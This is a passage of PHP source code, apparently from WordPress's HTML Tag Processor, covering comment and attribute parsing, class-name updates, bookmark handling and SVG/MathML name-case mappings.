				// `<>` is interpreted as plaintext.
				if ( ! $this->is_closing_tag ) {
					++$at;
					continue;
				}

				$this->parser_state         = self::STATE_PRESUMPTUOUS_TAG;
				$this->token_length         = $at + 2 - $this->token_starts_at;
				$this->bytes_already_parsed = $at + 2;
				return true;
			}

			/*
			 * `<?` transitions to a bogus comment state – skip to the nearest >
			 * See https://html.spec.whatwg.org/multipage/parsing.html#tag-open-state
			 */
			if ( ! $this->is_closing_tag && '?' === $html[ $at + 1 ] ) {
				$closer_at = strpos( $html, '>', $at + 2 );
				if ( false === $closer_at ) {
					$this->parser_state = self::STATE_INCOMPLETE_INPUT;

					return false;
				}

				$this->parser_state         = self::STATE_COMMENT;
				$this->comment_type         = self::COMMENT_AS_INVALID_HTML;
				$this->token_length         = $closer_at + 1 - $this->token_starts_at;
				$this->text_starts_at       = $this->token_starts_at + 2;
				$this->text_length          = $closer_at - $this->text_starts_at;
				$this->bytes_already_parsed = $closer_at + 1;

				/*
				 * Identify a Processing Instruction node were HTML to have them.
				 *
				 * This section must occur after identifying the bogus comment end
				 * because in an HTML parser it will span to the nearest `>`, even
				 * if there's no `?>` as would be required in an XML document. It
				 * is therefore not possible to parse a Processing Instruction node
				 * containing a `>` in the HTML syntax.
				 *
				 * XML allows for more target names, but this code only identifies
				 * those with ASCII-representable target names. This means that it
				 * may identify some Processing Instruction nodes as bogus comments,
				 * but it will not misinterpret the HTML structure. By limiting the
				 * identification to these target names the Tag Processor can avoid
				 * the need to start parsing UTF-8 sequences.
				 *
				 * > NameStartChar ::= ":" | [A-Z] | "_" | [a-z] | [#xC0-#xD6] | [#xD8-#xF6] | [#xF8-#x2FF] |
				 *                     [#x370-#x37D] | [#x37F-#x1FFF] | [#x200C-#x200D] | [#x2070-#x218F] |
				 *                     [#x2C00-#x2FEF] | [#x3001-#xD7FF] | [#xF900-#xFDCF] | [#xFDF0-#xFFFD] |
				 *                     [#x10000-#xEFFFF]
				 * > NameChar      ::= NameStartChar | "-" | "." | [0-9] | #xB7 | [#x0300-#x036F] | [#x203F-#x2040]
				 *
				 * @todo Processing instruction nodes in SGML may contain any kind of markup. XML defines a
				 *       special case with `<?xml ... ?>` syntax, but the `?` is part of the bogus comment.
				 *
				 * @see https://www.w3.org/TR/2006/REC-xml11-20060816/#NT-PITarget
				 */
				if ( $this->token_length >= 5 && '?' === $html[ $closer_at - 1 ] ) {
					$comment_text     = substr( $html, $this->token_starts_at + 2, $this->token_length - 4 );
					$pi_target_length = strspn( $comment_text, 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ:_' );

					if ( 0 < $pi_target_length ) {
						$pi_target_length += strspn( $comment_text, 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789:_-.', $pi_target_length );

						$this->comment_type       = self::COMMENT_AS_PI_NODE_LOOKALIKE;
						$this->tag_name_starts_at = $this->token_starts_at + 2;
						$this->tag_name_length    = $pi_target_length;
						$this->text_starts_at    += $pi_target_length;
						$this->text_length       -= $pi_target_length + 1;
					}
				}

				return true;
			}

			/*
			 * If a non-alpha starts the tag name in a tag closer it's a comment.
			 * Find the first `>`, which closes the comment.
			 *
			 * This parser classifies these particular comments as special "funky comments"
			 * which are made available for further processing.
			 *
			 * See https://html.spec.whatwg.org/#parse-error-invalid-first-character-of-tag-name
			 */
			if ( $this->is_closing_tag ) {
				// No chance of finding a closer.
				if ( $at + 3 > $doc_length ) {
					$this->parser_state = self::STATE_INCOMPLETE_INPUT;

					return false;
				}

				$closer_at = strpos( $html, '>', $at + 2 );
				if ( false === $closer_at ) {
					$this->parser_state = self::STATE_INCOMPLETE_INPUT;

					return false;
				}

				$this->parser_state         = self::STATE_FUNKY_COMMENT;
				$this->token_length         = $closer_at + 1 - $this->token_starts_at;
				$this->text_starts_at       = $this->token_starts_at + 2;
				$this->text_length          = $closer_at - $this->text_starts_at;
				$this->bytes_already_parsed = $closer_at + 1;
				return true;
			}

			++$at;
		}

		/*
		 * This does not imply an incomplete parse; it indicates that there
		 * can be nothing left in the document other than a #text node.
		 */
		$this->parser_state         = self::STATE_TEXT_NODE;
		$this->token_starts_at      = $was_at;
		$this->token_length         = $doc_length - $was_at;
		$this->text_starts_at       = $was_at;
		$this->text_length          = $this->token_length;
		$this->bytes_already_parsed = $doc_length;
		return true;
	}

	/**
	 * Parses the next attribute.
	 *
	 * @since 6.2.0
	 *
	 * @return bool Whether an attribute was found before the end of the document.
	 */
	private function parse_next_attribute(): bool {
		$doc_length = strlen( $this->html );

		// Skip whitespace and slashes.
		$this->bytes_already_parsed += strspn( $this->html, " \t\f\r\n/", $this->bytes_already_parsed );
		if ( $this->bytes_already_parsed >= $doc_length ) {
			$this->parser_state = self::STATE_INCOMPLETE_INPUT;

			return false;
		}

		/*
		 * Treat the equal sign as a part of the attribute
		 * name if it is the first encountered byte.
		 *
		 * @see https://html.spec.whatwg.org/multipage/parsing.html#before-attribute-name-state
		 */
		$name_length = '=' === $this->html[ $this->bytes_already_parsed ]
			? 1 + strcspn( $this->html, "=/> \t\f\r\n", $this->bytes_already_parsed + 1 )
			: strcspn( $this->html, "=/> \t\f\r\n", $this->bytes_already_parsed );

		// No attribute, just tag closer.
		if ( 0 === $name_length || $this->bytes_already_parsed + $name_length >= $doc_length ) {
			return false;
		}

		$attribute_start             = $this->bytes_already_parsed;
		$attribute_name              = substr( $this->html, $attribute_start, $name_length );
		$this->bytes_already_parsed += $name_length;
		if ( $this->bytes_already_parsed >= $doc_length ) {
			$this->parser_state = self::STATE_INCOMPLETE_INPUT;

			return false;
		}

		$this->skip_whitespace();
		if ( $this->bytes_already_parsed >= $doc_length ) {
			$this->parser_state = self::STATE_INCOMPLETE_INPUT;

			return false;
		}

		$has_value = '=' === $this->html[ $this->bytes_already_parsed ];
		if ( $has_value ) {
			++$this->bytes_already_parsed;
			$this->skip_whitespace();
			if ( $this->bytes_already_parsed >= $doc_length ) {
				$this->parser_state = self::STATE_INCOMPLETE_INPUT;

				return false;
			}

			switch ( $this->html[ $this->bytes_already_parsed ] ) {
				case "'":
				case '"':
					$quote                      = $this->html[ $this->bytes_already_parsed ];
					$value_start                = $this->bytes_already_parsed + 1;
					$end_quote_at               = strpos( $this->html, $quote, $value_start );
					$end_quote_at               = false === $end_quote_at ? $doc_length : $end_quote_at;
					$value_length               = $end_quote_at - $value_start;
					$attribute_end              = $end_quote_at + 1;
					$this->bytes_already_parsed = $attribute_end;
					break;

				default:
					$value_start                = $this->bytes_already_parsed;
					$value_length               = strcspn( $this->html, "> \t\f\r\n", $value_start );
					$attribute_end              = $value_start + $value_length;
					$this->bytes_already_parsed = $attribute_end;
			}
		} else {
			$value_start   = $this->bytes_already_parsed;
			$value_length  = 0;
			$attribute_end = $attribute_start + $name_length;
		}

		if ( $attribute_end >= $doc_length ) {
			$this->parser_state = self::STATE_INCOMPLETE_INPUT;

			return false;
		}

		if ( $this->is_closing_tag ) {
			return true;
		}

		/*
		 * > There must never be two or more attributes on
		 * > the same start tag whose names are an ASCII
		 * > case-insensitive match for each other.
		 *     - HTML 5 spec
		 *
		 * @see https://html.spec.whatwg.org/multipage/syntax.html#attributes-2:ascii-case-insensitive
		 */
		$comparable_name = strtolower( $attribute_name );

		// If an attribute is listed many times, only use the first declaration and ignore the rest.
		if ( ! isset( $this->attributes[ $comparable_name ] ) ) {
			$this->attributes[ $comparable_name ] = new WP_HTML_Attribute_Token(
				$attribute_name,
				$value_start,
				$value_length,
				$attribute_start,
				$attribute_end - $attribute_start,
				! $has_value
			);

			return true;
		}

		/*
		 * Track the duplicate attributes so if we remove it, all disappear together.
		 *
		 * While `$this->duplicated_attributes` could always be stored as an `array()`,
		 * which would simplify the logic here, storing a `null` and only allocating
		 * an array when encountering duplicates avoids needless allocations in the
		 * normative case of parsing tags with no duplicate attributes.
		 */
		$duplicate_span = new WP_HTML_Span( $attribute_start, $attribute_end - $attribute_start );
		if ( null === $this->duplicate_attributes ) {
			$this->duplicate_attributes = array( $comparable_name => array( $duplicate_span ) );
		} elseif ( ! isset( $this->duplicate_attributes[ $comparable_name ] ) ) {
			$this->duplicate_attributes[ $comparable_name ] = array( $duplicate_span );
		} else {
			$this->duplicate_attributes[ $comparable_name ][] = $duplicate_span;
		}

		return true;
	}

	/**
	 * Move the internal cursor past any immediate successive whitespace.
	 *
	 * @since 6.2.0
	 */
	private function skip_whitespace(): void {
		$this->bytes_already_parsed += strspn( $this->html, " \t\f\r\n", $this->bytes_already_parsed );
	}

	/**
	 * Applies attribute updates and cleans up once a tag is fully parsed.
	 *
	 * @since 6.2.0
	 */
	private function after_tag(): void {
		/*
		 * There could be lexical updates enqueued for an attribute that
		 * also exists on the next tag. In order to avoid conflating the
		 * attributes across the two tags, lexical updates with names
		 * need to be flushed to raw lexical updates.
		 */
		$this->class_name_updates_to_attributes_updates();

		/*
		 * Purge updates if there are too many. The actual count isn't
		 * scientific, but a few values from 100 to a few thousand were
		 * tests to find a practically-useful limit.
		 *
		 * If the update queue grows too big, then the Tag Processor
		 * will spend more time iterating through them and lose the
		 * efficiency gains of deferring applying them.
		 */
		if ( 1000 < count( $this->lexical_updates ) ) {
			$this->get_updated_html();
		}

		foreach ( $this->lexical_updates as $name => $update ) {
			/*
			 * Any updates appearing after the cursor should be applied
			 * before proceeding, otherwise they may be overlooked.
			 */
			if ( $update->start >= $this->bytes_already_parsed ) {
				$this->get_updated_html();
				break;
			}

			if ( is_int( $name ) ) {
				continue;
			}

			$this->lexical_updates[] = $update;
			unset( $this->lexical_updates[ $name ] );
		}

		$this->token_starts_at          = null;
		$this->token_length             = null;
		$this->tag_name_starts_at       = null;
		$this->tag_name_length          = null;
		$this->text_starts_at           = 0;
		$this->text_length              = 0;
		$this->is_closing_tag           = null;
		$this->attributes               = array();
		$this->comment_type             = null;
		$this->text_node_classification = self::TEXT_IS_GENERIC;
		$this->duplicate_attributes     = null;
	}

	/**
	 * Converts class name updates into tag attributes updates
	 * (they are accumulated in different data formats for performance).
	 *
	 * @since 6.2.0
	 *
	 * @see WP_HTML_Tag_Processor::$lexical_updates
	 * @see WP_HTML_Tag_Processor::$classname_updates
	 */
	private function class_name_updates_to_attributes_updates(): void {
		if ( count( $this->classname_updates ) === 0 ) {
			return;
		}

		$existing_class = $this->get_enqueued_attribute_value( 'class' );
		if ( null === $existing_class || true === $existing_class ) {
			$existing_class = '';
		}

		if ( false === $existing_class && isset( $this->attributes['class'] ) ) {
			$existing_class = substr(
				$this->html,
				$this->attributes['class']->value_starts_at,
				$this->attributes['class']->value_length
			);
		}

		if ( false === $existing_class ) {
			$existing_class = '';
		}

		/**
		 * Updated "class" attribute value.
		 *
		 * This is incrementally built while scanning through the existing class
		 * attribute, skipping removed classes on the way, and then appending
		 * added classes at the end. Only when finished processing will the
		 * value contain the final new value.

		 * @var string $class
		 */
		$class = '';

		/**
		 * Tracks the cursor position in the existing
		 * class attribute value while parsing.
		 *
		 * @var int $at
		 */
		$at = 0;

		/**
		 * Indicates if there's any need to modify the existing class attribute.
		 *
		 * If a call to `add_class()` and `remove_class()` wouldn't impact
		 * the `class` attribute value then there's no need to rebuild it.
		 * For example, when adding a class that's already present or
		 * removing one that isn't.
		 *
		 * This flag enables a performance optimization when none of the enqueued
		 * class updates would impact the `class` attribute; namely, that the
		 * processor can continue without modifying the input document, as if
		 * none of the `add_class()` or `remove_class()` calls had been made.
		 *
		 * This flag is set upon the first change that requires a string update.
		 *
		 * @var bool $modified
		 */
		$modified = false;

		$seen      = array();
		$to_remove = array();
		$is_quirks = self::QUIRKS_MODE === $this->compat_mode;
		if ( $is_quirks ) {
			foreach ( $this->classname_updates as $updated_name => $action ) {
				if ( self::REMOVE_CLASS === $action ) {
					$to_remove[] = strtolower( $updated_name );
				}
			}
		} else {
			foreach ( $this->classname_updates as $updated_name => $action ) {
				if ( self::REMOVE_CLASS === $action ) {
					$to_remove[] = $updated_name;
				}
			}
		}

		// Remove unwanted classes by only copying the new ones.
		$existing_class_length = strlen( $existing_class );
		while ( $at < $existing_class_length ) {
			// Skip to the first non-whitespace character.
			$ws_at     = $at;
			$ws_length = strspn( $existing_class, " \t\f\r\n", $ws_at );
			$at       += $ws_length;

			// Capture the class name – it's everything until the next whitespace.
			$name_length = strcspn( $existing_class, " \t\f\r\n", $at );
			if ( 0 === $name_length ) {
				// If no more class names are found then that's the end.
				break;
			}

			$name                  = substr( $existing_class, $at, $name_length );
			$comparable_class_name = $is_quirks ? strtolower( $name ) : $name;
			$at                   += $name_length;

			// If this class is marked for removal, remove it and move on to the next one.
			if ( in_array( $comparable_class_name, $to_remove, true ) ) {
				$modified = true;
				continue;
			}

			// If a class has already been seen then skip it; it should not be added twice.
			if ( in_array( $comparable_class_name, $seen, true ) ) {
				continue;
			}

			$seen[] = $comparable_class_name;

			/*
			 * Otherwise, append it to the new "class" attribute value.
			 *
			 * There are options for handling whitespace between tags.
			 * Preserving the existing whitespace produces fewer changes
			 * to the HTML content and should clarify the before/after
			 * content when debugging the modified output.
			 *
			 * This approach contrasts normalizing the inter-class
			 * whitespace to a single space, which might appear cleaner
			 * in the output HTML but produce a noisier change.
			 */
			if ( '' !== $class ) {
				$class .= substr( $existing_class, $ws_at, $ws_length );
			}
			$class .= $name;
		}

		// Add new classes by appending those which haven't already been seen.
		foreach ( $this->classname_updates as $name => $operation ) {
			$comparable_name = $is_quirks ? strtolower( $name ) : $name;
			if ( self::ADD_CLASS === $operation && ! in_array( $comparable_name, $seen, true ) ) {
				$modified = true;

				$class .= strlen( $class ) > 0 ? ' ' : '';
				$class .= $name;
			}
		}

		$this->classname_updates = array();
		if ( ! $modified ) {
			return;
		}

		if ( strlen( $class ) > 0 ) {
			$this->set_attribute( 'class', $class );
		} else {
			$this->remove_attribute( 'class' );
		}
	}

	/**
	 * Applies attribute updates to HTML document.
	 *
	 * @since 6.2.0
	 * @since 6.2.1 Accumulates shift for internal cursor and passed pointer.
	 * @since 6.3.0 Invalidate any bookmarks whose targets are overwritten.
	 *
	 * @param int $shift_this_point Accumulate and return shift for this position.
	 * @return int How many bytes the given pointer moved in response to the updates.
	 */
	private function apply_attributes_updates( int $shift_this_point ): int {
		if ( ! count( $this->lexical_updates ) ) {
			return 0;
		}

		$accumulated_shift_for_given_point = 0;

		/*
		 * Attribute updates can be enqueued in any order but updates
		 * to the document must occur in lexical order; that is, each
		 * replacement must be made before all others which follow it
		 * at later string indices in the input document.
		 *
		 * Sorting avoid making out-of-order replacements which
		 * can lead to mangled output, partially-duplicated
		 * attributes, and overwritten attributes.
		 */
		usort( $this->lexical_updates, array( self::class, 'sort_start_ascending' ) );

		$bytes_already_copied = 0;
		$output_buffer        = '';
		foreach ( $this->lexical_updates as $diff ) {
			$shift = strlen( $diff->text ) - $diff->length;

			// Adjust the cursor position by however much an update affects it.
			if ( $diff->start < $this->bytes_already_parsed ) {
				$this->bytes_already_parsed += $shift;
			}

			// Accumulate shift of the given pointer within this function call.
			if ( $diff->start < $shift_this_point ) {
				$accumulated_shift_for_given_point += $shift;
			}

			$output_buffer       .= substr( $this->html, $bytes_already_copied, $diff->start - $bytes_already_copied );
			$output_buffer       .= $diff->text;
			$bytes_already_copied = $diff->start + $diff->length;
		}

		$this->html = $output_buffer . substr( $this->html, $bytes_already_copied );

		/*
		 * Adjust bookmark locations to account for how the text
		 * replacements adjust offsets in the input document.
		 */
		foreach ( $this->bookmarks as $bookmark_name => $bookmark ) {
			$bookmark_end = $bookmark->start + $bookmark->length;

			/*
			 * Each lexical update which appears before the bookmark's endpoints
			 * might shift the offsets for those endpoints. Loop through each change
			 * and accumulate the total shift for each bookmark, then apply that
			 * shift after tallying the full delta.
			 */
			$head_delta = 0;
			$tail_delta = 0;

			foreach ( $this->lexical_updates as $diff ) {
				$diff_end = $diff->start + $diff->length;

				if ( $bookmark->start < $diff->start && $bookmark_end < $diff->start ) {
					break;
				}

				if ( $bookmark->start >= $diff->start && $bookmark_end < $diff_end ) {
					$this->release_bookmark( $bookmark_name );
					continue 2;
				}

				$delta = strlen( $diff->text ) - $diff->length;

				if ( $bookmark->start >= $diff->start ) {
					$head_delta += $delta;
				}

				if ( $bookmark_end >= $diff_end ) {
					$tail_delta += $delta;
				}
			}

			$bookmark->start  += $head_delta;
			$bookmark->length += $tail_delta - $head_delta;
		}

		$this->lexical_updates = array();

		return $accumulated_shift_for_given_point;
	}

	/**
	 * Checks whether a bookmark with the given name exists.
	 *
	 * @since 6.3.0
	 *
	 * @param string $bookmark_name Name to identify a bookmark that potentially exists.
	 * @return bool Whether that bookmark exists.
	 */
	public function has_bookmark( $bookmark_name ): bool {
		return array_key_exists( $bookmark_name, $this->bookmarks );
	}

	/**
	 * Move the internal cursor in the Tag Processor to a given bookmark's location.
	 *
	 * In order to prevent accidental infinite loops, there's a
	 * maximum limit on the number of times seek() can be called.
	 *
	 * @since 6.2.0
	 *
	 * @param string $bookmark_name Jump to the place in the document identified by this bookmark name.
	 * @return bool Whether the internal cursor was successfully moved to the bookmark's location.
	 */
	public function seek( $bookmark_name ): bool {
		if ( ! array_key_exists( $bookmark_name, $this->bookmarks ) ) {
			_doing_it_wrong(
				__METHOD__,
				__( 'Unknown bookmark name.' ),
				'6.2.0'
			);
			return false;
		}

		$existing_bookmark = $this->bookmarks[ $bookmark_name ];

		if (
			$this->token_starts_at === $existing_bookmark->start &&
			$this->token_length === $existing_bookmark->length
		) {
			return true;
		}

		if ( ++$this->seek_count > static::MAX_SEEK_OPS ) {
			_doing_it_wrong(
				__METHOD__,
				__( 'Too many calls to seek() - this can lead to performance issues.' ),
				'6.2.0'
			);
			return false;
		}

		// Flush out any pending updates to the document.
		$this->get_updated_html();

		// Point this tag processor before the sought tag opener and consume it.
		$this->bytes_already_parsed = $this->bookmarks[ $bookmark_name ]->start;
		$this->parser_state         = self::STATE_READY;
		return $this->next_token();
	}

	/**
	 * Compare two WP_HTML_Text_Replacement objects.
	 *
	 * @since 6.2.0
	 *
	 * @param WP_HTML_Text_Replacement $a First attribute update.
	 * @param WP_HTML_Text_Replacement $b Second attribute update.
	 * @return int Comparison value for string order.
	 */
	private static function sort_start_ascending( WP_HTML_Text_Replacement $a, WP_HTML_Text_Replacement $b ): int {
		$by_start = $a->start - $b->start;
		if ( 0 !== $by_start ) {
			return $by_start;
		}

		$by_text = isset( $a->text, $b->text ) ? strcmp( $a->text, $b->text ) : 0;
		if ( 0 !== $by_text ) {
			return $by_text;
		}

		/*
		 * This code should be unreachable, because it implies the two replacements
		 * start at the same location and contain the same text.
		 */
		return $a->length - $b->length;
	}

	/**
	 * Return the enqueued value for a given attribute, if one exists.
	 *
	 * Enqueued updates can take different data types:
	 *  - If an update is enqueued and is boolean, the return will be `true`
	 *  - If an update is otherwise enqueued, the return will be the string value of that update.
	 *  - If an attribute is enqueued to be removed, the return will be `null` to indicate that.
	 *  - If no updates are enqueued, the return will be `false` to differentiate from "removed."
	 *
	 * @since 6.2.0
	 *
	 * @param string $comparable_name The attribute name in its comparable form.
	 * @return string|boolean|null Value of enqueued update if present, otherwise false.
	 */
	private function get_enqueued_attribute_value( string $comparable_name ) {
		if ( self::STATE_MATCHED_TAG !== $this->parser_state ) {
			return false;
		}

		if ( ! isset( $this->lexical_updates[ $comparable_name ] ) ) {
			return false;
		}

		$enqueued_text = $this->lexical_updates[ $comparable_name ]->text;

		// Removed attributes erase the entire span.
		if ( '' === $enqueued_text ) {
			return null;
		}

		/*
		 * Boolean attribute updates are just the attribute name without a corresponding value.
		 *
		 * This value might differ from the given comparable name in that there could be leading
		 * or trailing whitespace, and that the casing follows the name given in `set_attribute`.
		 *
		 * Example:
		 *
		 *     $p->set_attribute( 'data-TEST-id', 'update' );
		 *     'update' === $p->get_enqueued_attribute_value( 'data-test-id' );
		 *
		 * Detect this difference based on the absence of the `=`, which _must_ exist in any
		 * attribute containing a value, e.g. `<input type="text" enabled />`.
		 *                                            ¹           ²
		 *                                       1. Attribute with a string value.
		 *                                       2. Boolean attribute whose value is `true`.
		 */
		$equals_at = strpos( $enqueued_text, '=' );
		if ( false === $equals_at ) {
			return true;
		}

		/*
		 * Finally, a normal update's value will appear after the `=` and
		 * be double-quoted, as performed incidentally by `set_attribute`.
		 *
		 * e.g. `type="text"`
		 *           ¹²    ³
		 *        1. Equals is here.
		 *        2. Double-quoting starts one after the equals sign.
		 *        3. Double-quoting ends at the last character in the update.
		 */
		$enqueued_value = substr( $enqueued_text, $equals_at + 2, -1 );
		return WP_HTML_Decoder::decode_attribute( $enqueued_value );
	}

	/**
	 * Returns the value of a requested attribute from a matched tag opener if that attribute exists.
	 *
	 * Example:
	 *
	 *     $p = new WP_HTML_Tag_Processor( '<div enabled class="test" data-test-id="14">Test</div>' );
	 *     $p->next_tag( array( 'class_name' => 'test' ) ) === true;
	 *     $p->get_attribute( 'data-test-id' ) === '14';
	 *     $p->get_attribute( 'enabled' ) === true;
	 *     $p->get_attribute( 'aria-label' ) === null;
	 *
	 *     $p->next_tag() === false;
	 *     $p->get_attribute( 'class' ) === null;
	 *
	 * @since 6.2.0
	 *
	 * @param string $name Name of attribute whose value is requested.
	 * @return string|true|null Value of attribute or `null` if not available. Boolean attributes return `true`.
	 */
	public function get_attribute( $name ) {
		if ( self::STATE_MATCHED_TAG !== $this->parser_state ) {
			return null;
		}

		$comparable = strtolower( $name );

		/*
		 * For every attribute other than `class` it's possible to perform a quick check if
		 * there's an enqueued lexical update whose value takes priority over what's found in
		 * the input document.
		 *
		 * The `class` attribute is special though because of the exposed helpers `add_class`
		 * and `remove_class`. These form a builder for the `class` attribute, so an additional
		 * check for enqueued class changes is required in addition to the check for any enqueued
		 * attribute values. If any exist, those enqueued class changes must first be flushed out
		 * into an attribute value update.
		 */
		if ( 'class' === $name ) {
			$this->class_name_updates_to_attributes_updates();
		}

		// Return any enqueued attribute value updates if they exist.
		$enqueued_value = $this->get_enqueued_attribute_value( $comparable );
		if ( false !== $enqueued_value ) {
			return $enqueued_value;
		}

		if ( ! isset( $this->attributes[ $comparable ] ) ) {
			return null;
		}

		$attribute = $this->attributes[ $comparable ];

		/*
		 * This flag distinguishes an attribute with no value
		 * from an attribute with an empty string value. For
		 * unquoted attributes this could look very similar.
		 * It refers to whether an `=` follows the name.
		 *
		 * e.g. <div boolean-attribute empty-attribute=></div>
		 *           ¹                 ²
		 *        1. Attribute `boolean-attribute` is `true`.
		 *        2. Attribute `empty-attribute` is `""`.
		 */
		if ( true === $attribute->is_true ) {
			return true;
		}

		$raw_value = substr( $this->html, $attribute->value_starts_at, $attribute->value_length );

		return WP_HTML_Decoder::decode_attribute( $raw_value );
	}

	/**
	 * Gets lowercase names of all attributes matching a given prefix in the current tag.
	 *
	 * Note that matching is case-insensitive. This is in accordance with the spec:
	 *
	 * > There must never be two or more attributes on
	 * > the same start tag whose names are an ASCII
	 * > case-insensitive match for each other.
	 *     - HTML 5 spec
	 *
	 * Example:
	 *
	 *     $p = new WP_HTML_Tag_Processor( '<div data-ENABLED class="test" DATA-test-id="14">Test</div>' );
	 *     $p->next_tag( array( 'class_name' => 'test' ) ) === true;
	 *     $p->get_attribute_names_with_prefix( 'data-' ) === array( 'data-enabled', 'data-test-id' );
	 *
	 *     $p->next_tag() === false;
	 *     $p->get_attribute_names_with_prefix( 'data-' ) === null;
	 *
	 * @since 6.2.0
	 *
	 * @see https://html.spec.whatwg.org/multipage/syntax.html#attributes-2:ascii-case-insensitive
	 *
	 * @param string $prefix Prefix of requested attribute names.
	 * @return array|null List of attribute names, or `null` when no tag opener is matched.
	 */
	public function get_attribute_names_with_prefix( $prefix ): ?array {
		if (
			self::STATE_MATCHED_TAG !== $this->parser_state ||
			$this->is_closing_tag
		) {
			return null;
		}

		$comparable = strtolower( $prefix );

		$matches = array();
		foreach ( array_keys( $this->attributes ) as $attr_name ) {
			if ( str_starts_with( $attr_name, $comparable ) ) {
				$matches[] = $attr_name;
			}
		}
		return $matches;
	}

	/**
	 * Returns the namespace of the matched token.
	 *
	 * @since 6.7.0
	 *
	 * @return string One of 'html', 'math', or 'svg'.
	 */
	public function get_namespace(): string {
		return $this->parsing_namespace;
	}

	/**
	 * Returns the uppercase name of the matched tag.
	 *
	 * Example:
	 *
	 *     $p = new WP_HTML_Tag_Processor( '<div class="test">Test</div>' );
	 *     $p->next_tag() === true;
	 *     $p->get_tag() === 'DIV';
	 *
	 *     $p->next_tag() === false;
	 *     $p->get_tag() === null;
	 *
	 * @since 6.2.0
	 *
	 * @return string|null Name of currently matched tag in input HTML, or `null` if none found.
	 */
	public function get_tag(): ?string {
		if ( null === $this->tag_name_starts_at ) {
			return null;
		}

		$tag_name = substr( $this->html, $this->tag_name_starts_at, $this->tag_name_length );

		if ( self::STATE_MATCHED_TAG === $this->parser_state ) {
			return strtoupper( $tag_name );
		}

		if (
			self::STATE_COMMENT === $this->parser_state &&
			self::COMMENT_AS_PI_NODE_LOOKALIKE === $this->get_comment_type()
		) {
			return $tag_name;
		}

		return null;
	}

	/**
	 * Returns the adjusted tag name for a given token, taking into
	 * account the current parsing context, whether HTML, SVG, or MathML.
	 *
	 * @since 6.7.0
	 *
	 * @return string|null Name of current tag name.
	 */
	public function get_qualified_tag_name(): ?string {
		$tag_name = $this->get_tag();
		if ( null === $tag_name ) {
			return null;
		}

		if ( 'html' === $this->get_namespace() ) {
			return $tag_name;
		}

		$lower_tag_name = strtolower( $tag_name );
		if ( 'math' === $this->get_namespace() ) {
			return $lower_tag_name;
		}

		if ( 'svg' === $this->get_namespace() ) {
			switch ( $lower_tag_name ) {
				case 'altglyph':
					return 'altGlyph';

				case 'altglyphdef':
					return 'altGlyphDef';

				case 'altglyphitem':
					return 'altGlyphItem';

				case 'animatecolor':
					return 'animateColor';

				case 'animatemotion':
					return 'animateMotion';

				case 'animatetransform':
					return 'animateTransform';

				case 'clippath':
					return 'clipPath';

				case 'feblend':
					return 'feBlend';

				case 'fecolormatrix':
					return 'feColorMatrix';

				case 'fecomponenttransfer':
					return 'feComponentTransfer';

				case 'fecomposite':
					return 'feComposite';

				case 'feconvolvematrix':
					return 'feConvolveMatrix';

				case 'fediffuselighting':
					return 'feDiffuseLighting';

				case 'fedisplacementmap':
					return 'feDisplacementMap';

				case 'fedistantlight':
					return 'feDistantLight';

				case 'fedropshadow':
					return 'feDropShadow';

				case 'feflood':
					return 'feFlood';

				case 'fefunca':
					return 'feFuncA';

				case 'fefuncb':
					return 'feFuncB';

				case 'fefuncg':
					return 'feFuncG';

				case 'fefuncr':
					return 'feFuncR';

				case 'fegaussianblur':
					return 'feGaussianBlur';

				case 'feimage':
					return 'feImage';

				case 'femerge':
					return 'feMerge';

				case 'femergenode':
					return 'feMergeNode';

				case 'femorphology':
					return 'feMorphology';

				case 'feoffset':
					return 'feOffset';

				case 'fepointlight':
					return 'fePointLight';

				case 'fespecularlighting':
					return 'feSpecularLighting';

				case 'fespotlight':
					return 'feSpotLight';

				case 'fetile':
					return 'feTile';

				case 'feturbulence':
					return 'feTurbulence';

				case 'foreignobject':
					return 'foreignObject';

				case 'glyphref':
					return 'glyphRef';

				case 'lineargradient':
					return 'linearGradient';

				case 'radialgradient':
					return 'radialGradient';

				case 'textpath':
					return 'textPath';

				default:
					return $lower_tag_name;
			}
		}

		// This unnecessary return prevents tools from inaccurately reporting type errors.
		return $tag_name;
	}

	/**
	 * Returns the adjusted attribute name for a given attribute, taking into
	 * account the current parsing context, whether HTML, SVG, or MathML.
	 *
	 * @since 6.7.0
	 *
	 * @param string $attribute_name Which attribute to adjust.
	 *
	 * @return string|null
	 */
	public function get_qualified_attribute_name( $attribute_name ): ?string {
		if ( self::STATE_MATCHED_TAG !== $this->parser_state ) {
			return null;
		}

		$namespace  = $this->get_namespace();
		$lower_name = strtolower( $attribute_name );

		if ( 'math' === $namespace && 'definitionurl' === $lower_name ) {
			return 'definitionURL';
		}

		if ( 'svg' === $this->get_namespace() ) {
			switch ( $lower_name ) {
				case 'attributename':
					return 'attributeName';

				case 'attributetype':
					return 'attributeType';

				case 'basefrequency':
					return 'baseFrequency';

				case 'baseprofile':
					return 'baseProfile';

				case 'calcmode':
					return 'calcMode';

				case 'clippathunits':
					return 'clipPathUnits';

				case 'diffuseconstant':
					return 'diffuseConstant';

				case 'edgemode':
					return 'edgeMode';

				case 'filterunits':
					return 'filterUnits';

				case 'glyphref':
					return 'glyphRef';

				case 'gradienttransform':
					return 'gradientTransform';

				case 'gradientunits':
					return 'gradientUnits';

				case 'kernelmatrix':
					return 'kernelMatrix';

				case 'kernelunitlength':
					return 'kernelUnitLength';

				case 'keypoints':
					return 'keyPoints';

				case 'keysplines':
					return 'keySplines';

				case 'keytimes':
					return 'keyTimes';

				case 'lengthadjust':
					return 'lengthAdjust';

				case 'limitingconeangle':
					return 'limitingConeAngle';

				case 'markerheight':
					return 'markerHeight';

				case 'markerunits':
					return 'markerUnits';

				case 'markerwidth':
					return 'markerWidth';

				case 'maskcontentunits':
					return 'maskContentUnits';

				case 'maskunits':
					return 'maskUnits';

				case 'numoctaves':
					return 'numOctaves';

				case 'pathlength':
					return 'pathLength';

				case 'patterncontentunits':
					return 'patternContentUnits';

				case 'patterntransform':
					return 'patternTransform';

				case 'patternunits':
					return 'patternUnits';

				case 'pointsatx':
					return 'pointsAtX';

				case 'pointsaty':
					return 'pointsAtY';

				case 'pointsatz':
					return 'pointsAtZ';

				case 'preservealpha':
					return 'preserveAlpha';

				case 'preserveaspectratio':
					return 'preserveAspectRatio';

				case 'primitiveunits':
					return 'primitiveUnits';

				case 'refx':
					return 'refX';

				case 'refy':
					return 'refY';

				case 'repeatcount':
					return 'repeatCount';

				case 'repeatdur':
					return 'repeatDur';

				case 'requiredextensions':
					return 'requiredExtensions';

